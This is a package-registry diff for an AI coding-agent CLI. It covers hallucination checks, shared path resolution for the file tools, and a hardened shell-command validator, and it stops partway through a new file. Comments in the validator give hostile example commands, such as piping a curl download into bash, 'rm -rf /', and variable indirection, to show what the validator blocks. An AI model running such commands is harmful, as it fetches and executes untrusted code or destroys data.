micro-models-agent 0.13.1 → 0.13.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli/commands.js +2 -1
- package/dist/cli/repl.js +42 -20
- package/dist/config/config.js +42 -0
- package/dist/config/defaults.js +1 -1
- package/dist/config/security.js +1 -1
- package/dist/core/agent-moe.js +98 -0
- package/dist/core/agent.js +41 -250
- package/dist/core/bootstrap.js +4 -3
- package/dist/core/session-logger.js +122 -0
- package/dist/i18n/en.json +1 -0
- package/dist/i18n/ru.json +1 -0
- package/dist/llm/openai-compat.js +6 -9
- package/dist/modules/execution/moe-executor.js +13 -0
- package/dist/modules/hallucination/confidence.js +22 -15
- package/dist/modules/hallucination/consistency.js +29 -1
- package/dist/modules/hallucination/factual.js +49 -7
- package/dist/modules/processes/registry.js +6 -0
- package/dist/modules/security/command-validator.js +57 -14
- package/dist/modules/security/encryption.js +8 -6
- package/dist/modules/session/module.js +0 -4
- package/dist/tools/bash.js +27 -0
- package/dist/tools/create-dir.js +3 -4
- package/dist/tools/delete-file.js +3 -4
- package/dist/tools/edit-file.js +3 -4
- package/dist/tools/executor.js +6 -0
- package/dist/tools/file-info.js +3 -4
- package/dist/tools/list-dir.js +4 -4
- package/dist/tools/path-utils.js +51 -0
- package/dist/tools/read-file.js +6 -3
- package/dist/tools/write-file.js +5 -5
- package/dist/ui/renderer.js +1 -1
- package/package.json +1 -1
|
@@ -1,13 +1,6 @@
|
|
|
1
1
|
import { t } from "../../i18n/index";
|
|
2
|
-
const UNCERTAINTY_MARKERS = [
|
|
3
|
-
"i think",
|
|
4
|
-
"maybe",
|
|
5
|
-
"probably",
|
|
6
|
-
"i believe",
|
|
7
|
-
"not sure",
|
|
8
|
-
"might be",
|
|
9
|
-
];
|
|
10
2
|
const MIN_CHARS = 1;
|
|
3
|
+
const MIN_WORDS = 5;
|
|
11
4
|
export class ConfidenceCheck {
|
|
12
5
|
previousResponse = "";
|
|
13
6
|
setPreviousResponse(response) {
|
|
@@ -17,6 +10,16 @@ export class ConfidenceCheck {
|
|
|
17
10
|
if (!response || response.length < MIN_CHARS) {
|
|
18
11
|
return { status: "retry", reason: t("hall.short_response") };
|
|
19
12
|
}
|
|
13
|
+
// Language-agnostic: very short response with no structured content
|
|
14
|
+
const wordCount = response.split(/\s+/).filter(Boolean).length;
|
|
15
|
+
const hasStructure = /```|^\s*[-*]\s|^\s*\d+\.\s|<[^>]+>/m.test(response);
|
|
16
|
+
if (wordCount < MIN_WORDS && !hasStructure) {
|
|
17
|
+
return {
|
|
18
|
+
status: "warn",
|
|
19
|
+
reason: t("hall.short_response"),
|
|
20
|
+
};
|
|
21
|
+
}
|
|
22
|
+
// Language-agnostic: repetition detection via word overlap
|
|
20
23
|
if (this.previousResponse) {
|
|
21
24
|
const overlap = this.calculateOverlap(response, this.previousResponse);
|
|
22
25
|
if (overlap > 0.5) {
|
|
@@ -26,13 +29,17 @@ export class ConfidenceCheck {
|
|
|
26
29
|
};
|
|
27
30
|
}
|
|
28
31
|
}
|
|
29
|
-
|
|
30
|
-
const
|
|
31
|
-
if (
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
32
|
+
// Language-agnostic: very low word diversity (same words repeated)
|
|
33
|
+
const words = response.toLowerCase().split(/\s+/).filter(w => w.length > 2);
|
|
34
|
+
if (words.length >= 10) {
|
|
35
|
+
const unique = new Set(words);
|
|
36
|
+
const diversity = unique.size / words.length;
|
|
37
|
+
if (diversity < 0.25) {
|
|
38
|
+
return {
|
|
39
|
+
status: "warn",
|
|
40
|
+
reason: t("hall.repetitive", { pct: Math.round((1 - diversity) * 100) }),
|
|
41
|
+
};
|
|
42
|
+
}
|
|
36
43
|
}
|
|
37
44
|
return { status: "pass" };
|
|
38
45
|
}
|
|
@@ -19,7 +19,35 @@ export class ConsistencyCheck {
|
|
|
19
19
|
const lower = response.toLowerCase();
|
|
20
20
|
for (const d of this.decisions) {
|
|
21
21
|
const decisionWords = d.decision.toLowerCase().split(/\s+/).filter(w => w.length > 3);
|
|
22
|
-
const contradicts = decisionWords.some(word =>
|
|
22
|
+
const contradicts = decisionWords.some(word => {
|
|
23
|
+
// English patterns
|
|
24
|
+
if (lower.includes(`instead of ${word}`))
|
|
25
|
+
return true;
|
|
26
|
+
if (lower.includes(`not ${word}`))
|
|
27
|
+
return true;
|
|
28
|
+
if (lower.includes(`replacing ${word} with`))
|
|
29
|
+
return true;
|
|
30
|
+
if (lower.includes(`switching to`))
|
|
31
|
+
return true;
|
|
32
|
+
if (lower.includes(`changing from ${word}`))
|
|
33
|
+
return true;
|
|
34
|
+
if (lower.includes(`abandoning ${word}`))
|
|
35
|
+
return true;
|
|
36
|
+
// Russian patterns
|
|
37
|
+
if (lower.includes(`вместо ${word}`))
|
|
38
|
+
return true;
|
|
39
|
+
if (lower.includes(`заменяя ${word}`))
|
|
40
|
+
return true;
|
|
41
|
+
if (lower.includes(`заменяем ${word}`))
|
|
42
|
+
return true;
|
|
43
|
+
if (lower.includes(`переключаемся на`))
|
|
44
|
+
return true;
|
|
45
|
+
if (lower.includes(`от ${word} к`))
|
|
46
|
+
return true;
|
|
47
|
+
if (lower.includes(`отказываемся от ${word}`))
|
|
48
|
+
return true;
|
|
49
|
+
return false;
|
|
50
|
+
});
|
|
23
51
|
if (contradicts) {
|
|
24
52
|
return {
|
|
25
53
|
status: 'warn',
|
|
@@ -6,6 +6,10 @@ const FILE_EXTENSIONS = new Set([
|
|
|
6
6
|
"tsx",
|
|
7
7
|
"js",
|
|
8
8
|
"jsx",
|
|
9
|
+
"mjs",
|
|
10
|
+
"cjs",
|
|
11
|
+
"mts",
|
|
12
|
+
"cts",
|
|
9
13
|
"json",
|
|
10
14
|
"md",
|
|
11
15
|
"yaml",
|
|
@@ -32,12 +36,17 @@ const FILE_EXTENSIONS = new Set([
|
|
|
32
36
|
"cmd",
|
|
33
37
|
"txt",
|
|
34
38
|
"env",
|
|
39
|
+
"env.local",
|
|
40
|
+
"env.production",
|
|
35
41
|
"gitignore",
|
|
36
42
|
"dockerignore",
|
|
37
43
|
"dockerfile",
|
|
38
44
|
"makefile",
|
|
39
45
|
"cmake",
|
|
40
46
|
"toml",
|
|
47
|
+
"lock",
|
|
48
|
+
"config",
|
|
49
|
+
"log",
|
|
41
50
|
"xml",
|
|
42
51
|
"sql",
|
|
43
52
|
"graphql",
|
|
@@ -45,10 +54,20 @@ const FILE_EXTENSIONS = new Set([
|
|
|
45
54
|
"wasm",
|
|
46
55
|
]);
|
|
47
56
|
const VERSION_PATTERN = /^\d+(\.\d+)*$/;
|
|
48
|
-
const COMMON_WORDS = new Set([
|
|
57
|
+
const COMMON_WORDS = new Set([
|
|
58
|
+
"node.js", "Node.js",
|
|
59
|
+
"console.log", "console.error", "console.warn", "console.info",
|
|
60
|
+
"Math.floor", "Math.ceil", "Math.round", "Math.max", "Math.min",
|
|
61
|
+
"JSON.parse", "JSON.stringify",
|
|
62
|
+
"Object.keys", "Object.values", "Object.entries",
|
|
63
|
+
"Array.from", "Array.isArray",
|
|
64
|
+
"Date.now", "Date.parse",
|
|
65
|
+
"RegExp", "Promise",
|
|
66
|
+
]);
|
|
49
67
|
export class FactualCheck {
|
|
50
68
|
knownPaths = new Set();
|
|
51
69
|
createdPaths = new Set();
|
|
70
|
+
readFiles = new Set();
|
|
52
71
|
baseDir = process.cwd();
|
|
53
72
|
setBaseDir(dir) {
|
|
54
73
|
this.baseDir = dir;
|
|
@@ -58,6 +77,8 @@ export class FactualCheck {
|
|
|
58
77
|
const base = path.split(/[/\\]/).pop();
|
|
59
78
|
if (base && base !== path)
|
|
60
79
|
this.knownPaths.add(base);
|
|
80
|
+
// Track that this file was actually read by the agent
|
|
81
|
+
this.readFiles.add(base || path);
|
|
61
82
|
}
|
|
62
83
|
trackCreatedPath(path) {
|
|
63
84
|
this.knownPaths.add(path);
|
|
@@ -73,12 +94,30 @@ export class FactualCheck {
|
|
|
73
94
|
this.knownPaths.add(base);
|
|
74
95
|
this.createdPaths.delete(path);
|
|
75
96
|
}
|
|
97
|
+
/**
|
|
98
|
+
* Register file paths found in a document (e.g. structure.md, README).
|
|
99
|
+
* Files mentioned in project documentation are not hallucinations.
|
|
100
|
+
*/
|
|
101
|
+
trackDocumentContent(content) {
|
|
102
|
+
// Match common path patterns in documentation
|
|
103
|
+
const pathPatterns = /(?:^|\s)([\w\-./]+\.\w{1,10})(?:\s|$|[,;)])/gm;
|
|
104
|
+
let match;
|
|
105
|
+
while ((match = pathPatterns.exec(content)) !== null) {
|
|
106
|
+
const file = match[1];
|
|
107
|
+
if (file.includes('/') || file.includes('\\')) {
|
|
108
|
+
this.knownPaths.add(file);
|
|
109
|
+
}
|
|
110
|
+
const base = file.split(/[/\\]/).pop();
|
|
111
|
+
if (base)
|
|
112
|
+
this.knownPaths.add(base);
|
|
113
|
+
}
|
|
114
|
+
}
|
|
76
115
|
pathExistsOnDisk(path) {
|
|
77
116
|
try {
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
return
|
|
117
|
+
// Skip absolute paths — they're either system paths or outside the project.
|
|
118
|
+
// On Windows, existsSync('/...') can hang on certain paths.
|
|
119
|
+
if (path.startsWith("/") || path.startsWith("~") || /^[A-Za-z]:/.test(path)) {
|
|
120
|
+
return false;
|
|
82
121
|
}
|
|
83
122
|
return existsSync(join(this.baseDir, path));
|
|
84
123
|
}
|
|
@@ -94,10 +133,13 @@ export class FactualCheck {
|
|
|
94
133
|
return false;
|
|
95
134
|
if (VERSION_PATTERN.test(p))
|
|
96
135
|
return false;
|
|
97
|
-
if (p.startsWith("/"))
|
|
98
|
-
return false;
|
|
99
136
|
if (COMMON_WORDS.has(p))
|
|
100
137
|
return false;
|
|
138
|
+
// Skip absolute paths — agent responses use relative paths; absolute
|
|
139
|
+
// paths are either system paths or URLs, and existsSync can hang on
|
|
140
|
+
// Windows for root-relative paths like "/page.html".
|
|
141
|
+
if (p.startsWith("/") || p.startsWith("~") || /^[A-Za-z]:/.test(p))
|
|
142
|
+
return false;
|
|
101
143
|
if (this.pathExistsOnDisk(p))
|
|
102
144
|
return false;
|
|
103
145
|
const ext = p.split(".").pop()?.toLowerCase() || "";
|
|
@@ -134,6 +134,12 @@ class ProcessRegistry {
|
|
|
134
134
|
const sorted = Array.from(this.procs.values()).sort((a, b) => a.startedAt.localeCompare(b.startedAt));
|
|
135
135
|
const toRemove = sorted.slice(0, sorted.length - MAX_KEPT_PROCESSES + 1);
|
|
136
136
|
for (const entry of toRemove) {
|
|
137
|
+
if (entry.status === "running") {
|
|
138
|
+
const child = this.children.get(entry.id);
|
|
139
|
+
if (child) {
|
|
140
|
+
killTree(child);
|
|
141
|
+
}
|
|
142
|
+
}
|
|
137
143
|
this.procs.delete(entry.id);
|
|
138
144
|
this.children.delete(entry.id);
|
|
139
145
|
}
|
|
@@ -9,6 +9,40 @@ const FALLBACK_BASH_CONFIG = {
|
|
|
9
9
|
logCommands: true,
|
|
10
10
|
};
|
|
11
11
|
export const DEFAULT_BASH_CONFIG = DEFAULT_SECURITY_CONFIG?.bash || FALLBACK_BASH_CONFIG;
|
|
12
|
+
/**
|
|
13
|
+
* Extract the actual base command from a shell command string.
|
|
14
|
+
* Handles path prefixes, env assignments, and sudo.
|
|
15
|
+
*
|
|
16
|
+
* Examples:
|
|
17
|
+
* "/usr/bin/rm -rf /" → "rm"
|
|
18
|
+
* "sudo /usr/bin/rm file" → "rm"
|
|
19
|
+
* "NODE_ENV=prod node app.js" → "node"
|
|
20
|
+
* "env PATH=/x rm -rf /" → "rm"
|
|
21
|
+
* "cmd=rm; $cmd -rf /" → "cmd" (variable indirection — not expanded)
|
|
22
|
+
*/
|
|
23
|
+
function extractBaseCommand(trimmed) {
|
|
24
|
+
const tokens = trimmed.split(/\s+/);
|
|
25
|
+
let i = 0;
|
|
26
|
+
// Skip env assignments (KEY=val, KEY="val", etc.) and prefixed commands
|
|
27
|
+
while (i < tokens.length) {
|
|
28
|
+
const tok = tokens[i];
|
|
29
|
+
if (/^[a-zA-Z_][a-zA-Z0-9_]*=/.test(tok)) {
|
|
30
|
+
i++;
|
|
31
|
+
continue;
|
|
32
|
+
}
|
|
33
|
+
if (tok === "sudo" || tok === "env" || tok === "command" || tok === "exec" || tok === "nohup") {
|
|
34
|
+
i++;
|
|
35
|
+
continue;
|
|
36
|
+
}
|
|
37
|
+
break;
|
|
38
|
+
}
|
|
39
|
+
if (i >= tokens.length)
|
|
40
|
+
return tokens[0] ?? "";
|
|
41
|
+
// Extract basename from path (e.g. /usr/bin/rm → rm)
|
|
42
|
+
const raw = tokens[i];
|
|
43
|
+
const parts = raw.split(/[\\/]/);
|
|
44
|
+
return parts[parts.length - 1] || raw;
|
|
45
|
+
}
|
|
12
46
|
/**
|
|
13
47
|
* Check if a command is allowed based on security configuration
|
|
14
48
|
*/
|
|
@@ -23,8 +57,20 @@ export function isCommandAllowed(command, securityConfig) {
|
|
|
23
57
|
if (!trimmedCommand) {
|
|
24
58
|
return { allowed: false, reason: "Empty command" };
|
|
25
59
|
}
|
|
26
|
-
//
|
|
27
|
-
|
|
60
|
+
// Check dangerous operators FIRST — before parsing the base command.
|
|
61
|
+
// e.g. "curl http://x | bash" must be caught even though curl isn't blacklisted.
|
|
62
|
+
if (config.blockDangerousFlags) {
|
|
63
|
+
for (const op of config.dangerousOperators || []) {
|
|
64
|
+
if (trimmedCommand.includes(op)) {
|
|
65
|
+
return {
|
|
66
|
+
allowed: false,
|
|
67
|
+
reason: `Operator "${op}" is not allowed`,
|
|
68
|
+
};
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
// Extract actual base command (handles paths, env vars, sudo)
|
|
73
|
+
const baseCommand = extractBaseCommand(trimmedCommand);
|
|
28
74
|
// Check whitelist first (if non-empty, only whitelisted commands are allowed)
|
|
29
75
|
if (config.whitelist.length > 0) {
|
|
30
76
|
if (!config.whitelist.includes(baseCommand)) {
|
|
@@ -34,30 +80,27 @@ export function isCommandAllowed(command, securityConfig) {
|
|
|
34
80
|
};
|
|
35
81
|
}
|
|
36
82
|
}
|
|
37
|
-
// Check blacklist
|
|
83
|
+
// Check blacklist (against the extracted basename, not the raw token)
|
|
38
84
|
if (config.blacklist.includes(baseCommand)) {
|
|
39
85
|
return {
|
|
40
86
|
allowed: false,
|
|
41
87
|
reason: `Command "${baseCommand}" is blacklisted`,
|
|
42
88
|
};
|
|
43
89
|
}
|
|
44
|
-
//
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
};
|
|
52
|
-
}
|
|
53
|
-
}
|
|
90
|
+
// Also check the raw first token in case it's a simple name
|
|
91
|
+
const rawFirst = trimmedCommand.split(/\s+/)[0];
|
|
92
|
+
if (rawFirst !== baseCommand && config.blacklist.includes(rawFirst)) {
|
|
93
|
+
return {
|
|
94
|
+
allowed: false,
|
|
95
|
+
reason: `Command "${rawFirst}" is blacklisted`,
|
|
96
|
+
};
|
|
54
97
|
}
|
|
55
98
|
// Check for dangerous flags
|
|
56
99
|
if (config.blockDangerousFlags) {
|
|
57
100
|
for (const flag of config.dangerousFlags || []) {
|
|
58
101
|
// Check for flag as whole word or with equals
|
|
59
102
|
const flagPattern = new RegExp(`(?:^|\\s)${flag}(?:\\s|$|=)`);
|
|
60
|
-
if (flagPattern.test(
|
|
103
|
+
if (flagPattern.test(trimmedCommand)) {
|
|
61
104
|
return {
|
|
62
105
|
allowed: false,
|
|
63
106
|
reason: `Dangerous flag "${flag}" is not allowed`,
|
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { createCipheriv, createDecipheriv, randomBytes, scryptSync } from 'node:crypto';
|
|
2
2
|
import { homedir } from 'os';
|
|
3
3
|
import { join } from 'path';
|
|
4
|
-
import { readFileSync, writeFileSync, existsSync } from 'fs';
|
|
4
|
+
import { readFileSync, writeFileSync, existsSync, copyFileSync } from 'fs';
|
|
5
5
|
const DEFAULT_CONFIG = {
|
|
6
6
|
keyPath: join(homedir(), '.mma', '.encryption-key'),
|
|
7
7
|
algorithm: 'aes-256-gcm',
|
|
@@ -44,13 +44,15 @@ export function getOrCreateEncryptionKey(config) {
|
|
|
44
44
|
return Buffer.from(keyBase64, 'base64');
|
|
45
45
|
}
|
|
46
46
|
catch {
|
|
47
|
-
//
|
|
48
|
-
const key = generateEncryptionKey();
|
|
47
|
+
// Backup the corrupted key file before throwing
|
|
49
48
|
try {
|
|
50
|
-
|
|
49
|
+
const backupPath = `${keyPath}.corrupted.${Date.now()}`;
|
|
50
|
+
copyFileSync(keyPath, backupPath);
|
|
51
51
|
}
|
|
52
|
-
catch { /*
|
|
53
|
-
|
|
52
|
+
catch { /* backup failed, continue */ }
|
|
53
|
+
throw new Error(`Encryption key file is corrupted or unreadable: ${keyPath}. ` +
|
|
54
|
+
`All previously encrypted data will be unrecoverable. ` +
|
|
55
|
+
`Delete the key file to generate a new one.`);
|
|
54
56
|
}
|
|
55
57
|
}
|
|
56
58
|
/**
|
package/dist/tools/bash.js
CHANGED
|
@@ -19,6 +19,25 @@ function adaptCommandForWindows(command) {
|
|
|
19
19
|
}
|
|
20
20
|
return command;
|
|
21
21
|
}
|
|
22
|
+
/** Common Unix → Windows command mapping for error hints. */
|
|
23
|
+
const UNIX_TO_WIN_HINTS = {
|
|
24
|
+
'ls': 'Use "dir" or the list_dir tool instead.',
|
|
25
|
+
'pwd': 'Use "echo %cd%" or the file_info tool instead.',
|
|
26
|
+
'cat': 'Use "type" or the read_file tool instead.',
|
|
27
|
+
'cp': 'Use "copy" or the move_file tool instead.',
|
|
28
|
+
'mv': 'Use "move" or the move_file tool instead.',
|
|
29
|
+
'rm': 'Use "del" or the delete_file tool instead.',
|
|
30
|
+
'grep': 'Use "findstr" or the grep tool instead.',
|
|
31
|
+
'chmod': 'Use icacls or the chmod tool instead.',
|
|
32
|
+
'touch': 'Use type nul > file or the write_file tool instead.',
|
|
33
|
+
'find': 'Use "dir /s" or the glob tool instead.',
|
|
34
|
+
'head': 'Use the read_file tool with offset/limit instead.',
|
|
35
|
+
'tail': 'Use the read_file tool instead.',
|
|
36
|
+
'wc': 'Use the read_file tool instead.',
|
|
37
|
+
'diff': 'Use the diff tool instead.',
|
|
38
|
+
'which': 'Use "where" instead.',
|
|
39
|
+
'echo': 'echo works on Windows, but avoid pipes (|).',
|
|
40
|
+
};
|
|
22
41
|
export const bashTool = {
|
|
23
42
|
name: 'bash',
|
|
24
43
|
description: 'Execute a shell command and return its output. Use for running tests, build, git, and shell operations. Long-running commands (dev servers, watchers) start in the background and return a process id immediately — manage them with process_list, process_log, process_kill. Set background=true to force background execution.',
|
|
@@ -90,6 +109,14 @@ export const bashTool = {
|
|
|
90
109
|
else if (!output && res.code !== 0) {
|
|
91
110
|
output = `(exit code ${res.code})`;
|
|
92
111
|
}
|
|
112
|
+
// On Windows, hint about Unix commands that don't work
|
|
113
|
+
if (platform() === 'win32' && res.code !== 0) {
|
|
114
|
+
const firstWord = command.trim().split(/\s+/)[0]?.split(/[\\/]/).pop();
|
|
115
|
+
const hint = firstWord ? UNIX_TO_WIN_HINTS[firstWord] : undefined;
|
|
116
|
+
if (hint) {
|
|
117
|
+
output = `${output}\n\nHint: "${firstWord}" may not work on Windows. ${hint}`;
|
|
118
|
+
}
|
|
119
|
+
}
|
|
93
120
|
// Update audit log with result
|
|
94
121
|
if (securityConfig?.logCommands) {
|
|
95
122
|
logBashCommand(ctx.sessionId, sanitizeCommandForLog(command), res.code === 0, `Working directory: ${workdir}, Output length: ${res.stdout.length}`);
|
package/dist/tools/create-dir.js
CHANGED
|
@@ -1,9 +1,9 @@
|
|
|
1
1
|
import { mkdirSync, existsSync } from "fs";
|
|
2
|
-
import { resolve, normalize } from "path";
|
|
3
2
|
import { t } from "../i18n/index";
|
|
4
3
|
import { isPathWritable } from "../modules/security/path-validator";
|
|
5
4
|
import { logFileWrite, logSecurityBlock } from "../modules/security/audit-log";
|
|
6
5
|
import { getSessionSecurityConfig } from "../modules/security/session-isolation";
|
|
6
|
+
import { safeResolvePath } from "./path-utils";
|
|
7
7
|
export const createDirTool = {
|
|
8
8
|
name: "create_dir",
|
|
9
9
|
description: "Create a directory (and any intermediate directories).",
|
|
@@ -17,8 +17,7 @@ export const createDirTool = {
|
|
|
17
17
|
},
|
|
18
18
|
handler: async (ctx, args) => {
|
|
19
19
|
const path = String(args.path);
|
|
20
|
-
const
|
|
21
|
-
const resolved = resolve(baseDir, normalize(path));
|
|
20
|
+
const resolved = safeResolvePath(ctx.baseDir, path);
|
|
22
21
|
// Get session-specific security config
|
|
23
22
|
const securityConfig = ctx.sessionContext
|
|
24
23
|
? getSessionSecurityConfig(ctx.config, ctx.sessionContext)
|
|
@@ -34,7 +33,7 @@ export const createDirTool = {
|
|
|
34
33
|
};
|
|
35
34
|
}
|
|
36
35
|
// Check path permissions
|
|
37
|
-
const scopeCheck = isPathWritable(ctx.baseDir,
|
|
36
|
+
const scopeCheck = isPathWritable(ctx.baseDir, resolved, ctx.scope, ctx.config.security?.paths);
|
|
38
37
|
if (!scopeCheck.allowed) {
|
|
39
38
|
logSecurityBlock(ctx.sessionId, "file_write", scopeCheck.reason || "Path not allowed", path);
|
|
40
39
|
return {
|
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
import { unlinkSync, existsSync, statSync, readFileSync } from "fs";
|
|
2
|
-
import { resolve, normalize } from "path";
|
|
3
2
|
import { t } from "../i18n/index";
|
|
4
3
|
import { isPathWritable } from "../modules/security/path-validator";
|
|
5
4
|
import { logFileDelete, logSecurityBlock } from "../modules/security/audit-log";
|
|
6
5
|
import { getSessionSecurityConfig } from "../modules/security/session-isolation";
|
|
7
6
|
import { generateDeleteDiff } from "../ui/diff";
|
|
7
|
+
import { safeResolvePath } from "./path-utils";
|
|
8
8
|
export const deleteFileTool = {
|
|
9
9
|
name: "delete_file",
|
|
10
10
|
description: "Delete a file from the filesystem.",
|
|
@@ -18,8 +18,7 @@ export const deleteFileTool = {
|
|
|
18
18
|
},
|
|
19
19
|
handler: async (ctx, args) => {
|
|
20
20
|
const path = String(args.path);
|
|
21
|
-
const
|
|
22
|
-
const resolved = resolve(baseDir, normalize(path));
|
|
21
|
+
const resolved = safeResolvePath(ctx.baseDir, path);
|
|
23
22
|
// Get session-specific security config
|
|
24
23
|
const securityConfig = ctx.sessionContext
|
|
25
24
|
? getSessionSecurityConfig(ctx.config, ctx.sessionContext)
|
|
@@ -35,7 +34,7 @@ export const deleteFileTool = {
|
|
|
35
34
|
};
|
|
36
35
|
}
|
|
37
36
|
// Check path permissions
|
|
38
|
-
const scopeCheck = isPathWritable(ctx.baseDir,
|
|
37
|
+
const scopeCheck = isPathWritable(ctx.baseDir, resolved, ctx.scope, ctx.config.security?.paths);
|
|
39
38
|
if (!scopeCheck.allowed) {
|
|
40
39
|
logSecurityBlock(ctx.sessionId, "file_delete", scopeCheck.reason || "Path not allowed", path);
|
|
41
40
|
return {
|
package/dist/tools/edit-file.js
CHANGED
|
@@ -1,11 +1,11 @@
|
|
|
1
1
|
import { readFileSync, writeFileSync } from "fs";
|
|
2
|
-
import { resolve, normalize } from "path";
|
|
3
2
|
import { t } from "../i18n/index";
|
|
4
3
|
import { isPathWritable } from "../modules/security/path-validator";
|
|
5
4
|
import { scanContent } from "../modules/security/content-scanner";
|
|
6
5
|
import { logFileWrite, logSecurityBlock } from "../modules/security/audit-log";
|
|
7
6
|
import { getSessionSecurityConfig } from "../modules/security/session-isolation";
|
|
8
7
|
import { generateDiff } from "../ui/diff";
|
|
8
|
+
import { safeResolvePath } from "./path-utils";
|
|
9
9
|
export const editFileTool = {
|
|
10
10
|
name: "edit_file",
|
|
11
11
|
description: "Find and replace text in an existing file. Uses exact string match (not regex).",
|
|
@@ -21,8 +21,7 @@ export const editFileTool = {
|
|
|
21
21
|
},
|
|
22
22
|
handler: async (ctx, args) => {
|
|
23
23
|
const path = String(args.path);
|
|
24
|
-
const
|
|
25
|
-
const resolved = resolve(baseDir, normalize(path));
|
|
24
|
+
const resolved = safeResolvePath(ctx.baseDir, path);
|
|
26
25
|
// Get session-specific security config
|
|
27
26
|
const securityConfig = ctx.sessionContext
|
|
28
27
|
? getSessionSecurityConfig(ctx.config, ctx.sessionContext)
|
|
@@ -38,7 +37,7 @@ export const editFileTool = {
|
|
|
38
37
|
};
|
|
39
38
|
}
|
|
40
39
|
// Check path permissions
|
|
41
|
-
const scopeCheck = isPathWritable(ctx.baseDir,
|
|
40
|
+
const scopeCheck = isPathWritable(ctx.baseDir, resolved, ctx.scope, ctx.config.security?.paths);
|
|
42
41
|
if (!scopeCheck.allowed) {
|
|
43
42
|
logSecurityBlock(ctx.sessionId, "file_write", scopeCheck.reason || "Path not allowed", path);
|
|
44
43
|
return {
|
package/dist/tools/executor.js
CHANGED
package/dist/tools/file-info.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
import { statSync, existsSync } from 'fs';
|
|
2
|
-
import { resolve, normalize } from 'path';
|
|
3
2
|
import { t } from '../i18n/index';
|
|
4
3
|
import { isPathInScope } from '../modules/security/path-validator';
|
|
4
|
+
import { safeResolvePath } from './path-utils';
|
|
5
5
|
export const fileInfoTool = {
|
|
6
6
|
name: 'file_info',
|
|
7
7
|
description: 'Get metadata about a file or directory (size, creation date, modification date).',
|
|
@@ -15,10 +15,9 @@ export const fileInfoTool = {
|
|
|
15
15
|
},
|
|
16
16
|
handler: async (ctx, args) => {
|
|
17
17
|
const path = String(args.path);
|
|
18
|
-
const
|
|
19
|
-
const resolved = resolve(baseDir, normalize(path));
|
|
18
|
+
const resolved = safeResolvePath(ctx.baseDir, path);
|
|
20
19
|
// Check path permissions
|
|
21
|
-
const scopeCheck = isPathInScope(ctx.baseDir,
|
|
20
|
+
const scopeCheck = isPathInScope(ctx.baseDir, resolved, ctx.scope, ctx.config.security?.paths);
|
|
22
21
|
if (!scopeCheck.allowed) {
|
|
23
22
|
return {
|
|
24
23
|
success: false,
|
package/dist/tools/list-dir.js
CHANGED
|
@@ -1,7 +1,8 @@
|
|
|
1
1
|
import { readdirSync, statSync, existsSync } from 'fs';
|
|
2
|
-
import { resolve
|
|
2
|
+
import { resolve } from 'path';
|
|
3
3
|
import { t } from '../i18n/index';
|
|
4
4
|
import { isPathInScope } from '../modules/security/path-validator';
|
|
5
|
+
import { safeResolvePath } from './path-utils';
|
|
5
6
|
export const listDirTool = {
|
|
6
7
|
name: 'list_dir',
|
|
7
8
|
description: 'List files and directories in a given path.',
|
|
@@ -15,10 +16,9 @@ export const listDirTool = {
|
|
|
15
16
|
},
|
|
16
17
|
handler: async (ctx, args) => {
|
|
17
18
|
const path = String(args.path);
|
|
18
|
-
const
|
|
19
|
-
const resolved = resolve(baseDir, normalize(path));
|
|
19
|
+
const resolved = safeResolvePath(ctx.baseDir, path);
|
|
20
20
|
// Check path permissions
|
|
21
|
-
const scopeCheck = isPathInScope(ctx.baseDir,
|
|
21
|
+
const scopeCheck = isPathInScope(ctx.baseDir, resolved, ctx.scope, ctx.config.security?.paths);
|
|
22
22
|
if (!scopeCheck.allowed) {
|
|
23
23
|
return {
|
|
24
24
|
success: false,
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
import { resolve, normalize, dirname, basename, sep } from 'path';
|
|
2
|
+
import { existsSync } from 'fs';
|
|
3
|
+
/**
|
|
4
|
+
* Resolve a user-provided path against baseDir.
|
|
5
|
+
*
|
|
6
|
+
* Handles common model mistakes:
|
|
7
|
+
* 1. Leading slash: "/testing/cat3" → resolve relative to baseDir
|
|
8
|
+
* 2. Missing separator: "E:\agent_test" when baseDir is "E:\agent\_test"
|
|
9
|
+
* → inserts the missing backslash
|
|
10
|
+
*
|
|
11
|
+
* For new files the parent directory must exist; we check that instead of
|
|
12
|
+
* the full path so write_file still works.
|
|
13
|
+
*/
|
|
14
|
+
export function safeResolvePath(baseDir, userPath) {
|
|
15
|
+
const norm = normalize(userPath);
|
|
16
|
+
const stripped = norm.replace(/^[/\\]/, '');
|
|
17
|
+
const resolved = resolve(baseDir, stripped);
|
|
18
|
+
// Fast path: if it exists (or parent does for new files), return it
|
|
19
|
+
if (existsSync(resolved) || existsSync(dirname(resolved)))
|
|
20
|
+
return resolved;
|
|
21
|
+
const baseNorm = normalize(baseDir);
|
|
22
|
+
// Walk ancestors and look for missing separators
|
|
23
|
+
let cur = baseNorm;
|
|
24
|
+
while (cur && cur !== dirname(cur)) {
|
|
25
|
+
const name = basename(cur);
|
|
26
|
+
if (!name) {
|
|
27
|
+
cur = dirname(cur);
|
|
28
|
+
continue;
|
|
29
|
+
}
|
|
30
|
+
let idx = stripped.toLowerCase().indexOf(name.toLowerCase());
|
|
31
|
+
while (idx >= 0) {
|
|
32
|
+
const afterIdx = idx + name.length;
|
|
33
|
+
const afterChar = stripped[afterIdx];
|
|
34
|
+
if (afterChar && afterChar !== '\\' && afterChar !== '/') {
|
|
35
|
+
const fixed = stripped.slice(0, afterIdx) + sep + stripped.slice(afterIdx);
|
|
36
|
+
const fixedResolved = resolve(baseDir, normalize(fixed));
|
|
37
|
+
if (existsSync(fixedResolved) || existsSync(dirname(fixedResolved))) {
|
|
38
|
+
return fixedResolved;
|
|
39
|
+
}
|
|
40
|
+
// Try from ancestor's parent
|
|
41
|
+
const fromParent = resolve(dirname(cur), normalize(fixed));
|
|
42
|
+
if (existsSync(fromParent) || existsSync(dirname(fromParent))) {
|
|
43
|
+
return fromParent;
|
|
44
|
+
}
|
|
45
|
+
}
|
|
46
